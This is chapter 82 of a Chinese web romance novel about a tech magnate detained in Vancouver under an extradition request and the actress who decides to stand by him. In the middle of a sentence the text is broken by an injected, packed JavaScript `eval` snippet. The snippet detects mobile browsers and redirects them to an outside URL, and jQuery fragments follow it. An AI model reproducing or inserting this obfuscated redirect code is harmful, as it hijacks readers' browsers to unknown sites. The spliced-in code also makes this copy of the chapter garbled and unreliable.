82. 第 82 章
作品:《明明》 原来他不是失约,是身陷囹圄。
明岚舒从宋秘书口中得知了事情的来龙去脉。
她生日当天,许绍恒在温哥华国际机场转机回国时,被边境服务局以例行检查为由扣留。随后,美方向加方提出引渡要求,指控许绍恒涉嫌通过天禧控制的港口向受制裁国转运军民两用技术设备。
整个抓捕过程非常突然,既未通过外交渠道通报,也刻意避开了两国官方交涉的时机。
“许生被设局了,”宋秘书的嗓音透着疲惫,“空管局以卫星通信干扰航空安全为由,对私人飞机下了72小时禁飞令,迫使许生临时改乘民航航班。民航会自动报备要客信息,只要他一买票,行踪就立即被安全部的监控系统锁定。”
“为什么......”明岚舒盯着地上破碎的花瓶,水迹正无声地蔓延。“为什么会突然......”
宋秘书告诉她:“集团一直被针对。”
普通的车载太阳能充电板,被曲解为可以转用于军事通信设备供电。合法运往地阿联酋迪拜的货柜,被称有情报显示将在迪拜二次转运至受制裁国。
背后的原因,是量子空间的“共享卫星计划”已抢占全球过半商业卫星发射的市场份额,威胁到传统大国在商业卫星领域的垄断地位。Flyer超级工厂的固态电池技术突破,涉及能源战略博弈。更让他们忌惮的是,量子空间与燕大联合研发的量子通信加密技术,能完全突破情报部门的监测系统。
许绍恒多次受到明里暗里的打压和警告。要求共享技术专利,开放量子通信加密算法后门。甚至要求他引入“战略投资者”,否则将面临严重后果。
说到这里,宋秘书声音压得更低:“他们先是将我们列入实体清单,后来欧洲那边的合作方扛不住压力,几个卫星发射项目全被搁置。集团内部其实也发生过争执,有人劝许生暂时让步。但他在内部邮件中写,妥协一次,就会有无数次,如果我们今天低头,以后的企业连抬头的机会都不会有。这次......”
选在温哥华抓人,虽然引渡很难成功,但法律程序拖个几年,资产直接冻结,案子还能秘密审理,既不用撕破脸,又能把许绍恒摁住。
明岚舒听到宋秘书在电话里叹了一声:“许生真的很不容易。”
她的指尖无意识地抚过窗台,沾了一手冰凉的水渍。
“他......”喉咙忽然发紧,“现在怎么样了?”
“许生拒绝认罪。他在温哥华拘留中心的单人监室,生活起居正常,律师每周能探视两次。我们正在全力为他申请保释,但是引渡案的性质特殊,可能会被拒绝。对方现在刻意压着消息没放出来,恐怕背后还有动作,我们也不敢轻举妄动。大许先生已经飞去京州了......”
“我能见他吗?”明岚舒打断道。
“不行。”宋秘书苦笑,“除了律师,现在谁都见不到他。”
电话两端同时陷入沉默。明岚舒望着窗外,一只飞鸟掠过天际,倏忽不见。
“我能为他做什么?”她忽然问。
电话那头沉默得更久。
“明小姐。”最终,宋秘书轻声道:“你平安健康,应该是许生现在最大的牵挂。”
阳光透过半开的窗帘斜斜地照进来,将满地狼藉照得纤毫毕现。水渍未干的地板,四分五裂的花瓶,以及那束颓败枯萎的栀子花。
明岚舒缓缓蹲下身。手指碰到玻璃碎片的瞬间,被划开一道细痕。血珠渗出来,她却恍若未觉。
直到泪水突然砸了下来。
一滴,两滴,落在玻璃残片上,将殷红的血晕染成淡淡的粉。
他是为了回来陪她过生日才出的事。这个念头比玻璃碎片还要锋利,直直扎进心里。许绍恒说她是他的软肋,当时她以为是了求复合的俗套台词。可现在......
那个在商场上杀伐决断的许绍恒,那个永远游刃有余的许绍恒,竟会为她露出这样的破绽,深陷这样的境地。
而她什么都不知道。
不知道他背负着怎样的压力,不知道他每天都在和什么样的对手周旋,像个傻瓜一样一心只计较他到底爱谁,到底要和谁结婚。
******
探视室内。
律师推过一份文件:“法院以国家安全为由,把你的保释申请拒绝了。另外......”
律师解开西装纽扣后才坐下,这个动作让接下来的话显得更加沉重:“他们开价了。天禧在东地中海的港口控制权,以及量子空间接受他们的监管。否则将以违反制裁法案、银行欺诈、共谋罪、洗钱对你进行起诉。若罪名成立,刑期不低于二十五年。”
许绍恒嘴角勾起讥诮的弧度:“原来我这么贵。”
东地中海的几个关键港口扼守着黑海经土耳其海峡进入地中海的航线,同时辐射苏伊士运河的贸易通道,实际运营权由天禧集团掌控。这些港口不仅是重要的物流节点,更是国家对外贸易的关键门户。
头顶的白炽灯,将许绍恒的影子烙在双层防爆玻璃上。他冷静分析道:“他们是想以我为人质,扼杀我们的科技话语权,迫使我们在尖端领域让渡主权。”
这场看似商业违规的逮捕事件,本质上是一场针对科技崛起的精准狙击。量子空间共享卫星计划,Flyer电动车固态电池革命,许绍恒布局的国产化智慧城市网络更可能定义下一代工业标准。当新能源、航天与人工智能三大战略产业在中国企业手中形成闭环时,对方最终选择以司法手段强行打断这场技术革命。
许绍恒动了动手腕,镣铐的金属碰撞声在密闭的探视室内格外刺耳。
“我是生意人,只做生意不卖主权。”他笑意轻松,“告诉我爹地,这里很清静。我很久没这么闲过,就当是休假。”
律师明了他的心意,收拾东西准备离开时,忽然想起一事。
“对了,许总。宋秘书说明小姐已经知道您的事了,她很担心您。您有什么话要带给她吗?”
许绍恒罕见地沉下了脸。监控摄像头捕捉到他睫毛投下的阴影微微颤动,但下一秒就恢复平静。
“没有。”他抬起下巴,露出入狱以来最像许总的表情,“让她结束考察期吧。”
回到监室,许绍恒盯着惨白天花板出神。上面有一团灰褐色的污渍,很像挂在四合院的那幅赵无极的抽象画。
他记得是两年前,明岚舒在巴塞尔展上帮他选的。
当律师提到她名字的瞬间,他几乎脱口而出“让她等我”。可手上沉甸甸的镣铐提醒他:你连明天的人身自由都不确定,拿什么承诺未来?
如果只是三年、五年,或许他还能自私一次。可二十五年?那不是等待,是谋杀。
她应该在聚光灯下领奖,去拍那些让她眼睛发亮的剧本,遇到更值得的人。而不是把青春耗在探监室的防爆玻璃外。
很想要,却必须亲手推开。这大概是他做过最亏本的生意。可如果连这点代价都不肯付,他又有什么资格说爱她?
一天后,明岚舒听到了宋秘书的转述。那时她正独自站在片场的麦田边,耳边的风声忽然变得很大。
金黄的麦浪翻滚,她蹲下身观察一株麦穗。它垂着头,但茎秆挺直坚韧,饱满的籽粒在阳光下泛着青黄的光泽。
许绍恒不要她等。他连问都不问她愿不愿意等,就替她做了决定。
她想起两年前,在霞慕尼的星空下,许绍恒对她说:“一代人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300579|149340||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不行,但几代人或许可以。”
那时的他眼里有光。
而现在,他镣铐加身失去自由,却依然对律师说:“我是生意人,只做生意不卖主权。”
明岚舒忽然笑了。他还是他。而她,也还是她。
麦穗的籽粒饱满。她伸手轻轻触碰,感受到了内部涌动着某种近乎固执的生命力。
她爱的,从来不是承诺,不是铺好的路,不是计划好的未来。她爱的正是这个拥有宏大理想并为之孤注一掷的男人,像西西弗斯明知失败也不懈前行,纵使身陷囹圄也不肯低头。
她爱的是爱情本身。是她自己选择毫无保留地、固执地、甚至愚蠢地去爱的过程。她不需要他给她选择。因为她的选择,从来只属于她自己。
明岚舒站起身,拍了拍戏服上沾的麦芒。
电话那头宋秘书还在说着什么,但她已经听不进去了。
“宋秘书。”她打断他,声音很轻却很清晰,“谢谢你告诉我。”
风停了,麦浪归于平静。
考察期结束了,但不是他以为的那种结束。
******
时间像一把钝刀,缓慢却不容抗拒地切开僵局。
两个月以后,许绍恒被捕的消息终于被爆出来。而华尔街的做空单已经提前布局了三天。
量子系股价单日暴跌28%,欧洲合作伙伴集体噤声,卫星发射计划无限期搁置。财经频道的主播用沉重的语气念着稿子:“这可能是中资科技企业遭遇的最严峻国际制裁。”
商务部发表声明,谴责“滥用长臂管辖”,发布“不可靠实体清单”。外交部记者会上,发言人冷峻回应:“这是科技霸凌的典型例证。我们将采取一切必要措施,维护本国公民合法权益。”
许时豫罕见地在京州接受了专访。镜头前,这位素来低调的商界巨擘脊背挺直,语气平静却字字千钧:“天禧不会让步。我儿子很清楚自己在做什么,我也一样。”
当记者追问是否担心许绍恒的处境,他沉默几秒,说:“做父亲的,永远希望孩子平安。但有些路,必须他自己走。”
这句话被外界解读为“许家做好了最坏打算”。
明岚舒在录制新年晚会的休息间隙看到这段专访。第二天上午,陈子妤再次造访,身后却多了个人。
许时豫比专访里显得苍老。明岚舒倾尽积蓄买入量子系股票的事被他知晓,这位商界传奇人物直言这样的举动于事无补。但他疲惫的眼中闪过一丝动容:“你这份心意难得,若那个衰仔有福气......”
与此同时,官方宣布将量子动力列入“国家关键技术保护清单”。同日,燕大量子实验室突然公布的密钥分发技术,更被市场解读为国家级反制的前兆。
而风暴中心的许绍恒,依然被羁押着。唯一的变化是,探视室的防爆玻璃外,开始频频出现领事馆官员的身影。
这场博弈,早已超出个人生死,成为大国科技战争的缩影。
时间从不回答,但它记录一切。
在舆论的喧嚣之外,某些改变悄然发生。
燕大实验室的石碑前,总有人放下新鲜的白色马蹄莲。
天禧秘密收购了加拿大一家濒临破产的航天材料公司。
量子空间北美子公司被渗透的完整报告,正放在内瓦闭门会议的桌上,逼得对方三次离席休会
而许绍恒的律师团在第九次程序性听证会上提交了新证据。一份瑞士实验室的检测报告显示,所谓“军用太阳能板”的电流参数,与家用充电器无异。法官皱眉翻看时,旁听席最后一排,有个戴棒球帽的女人悄悄离场。
明岚舒的航班一小时后起飞,她得去威尼斯参加电影节。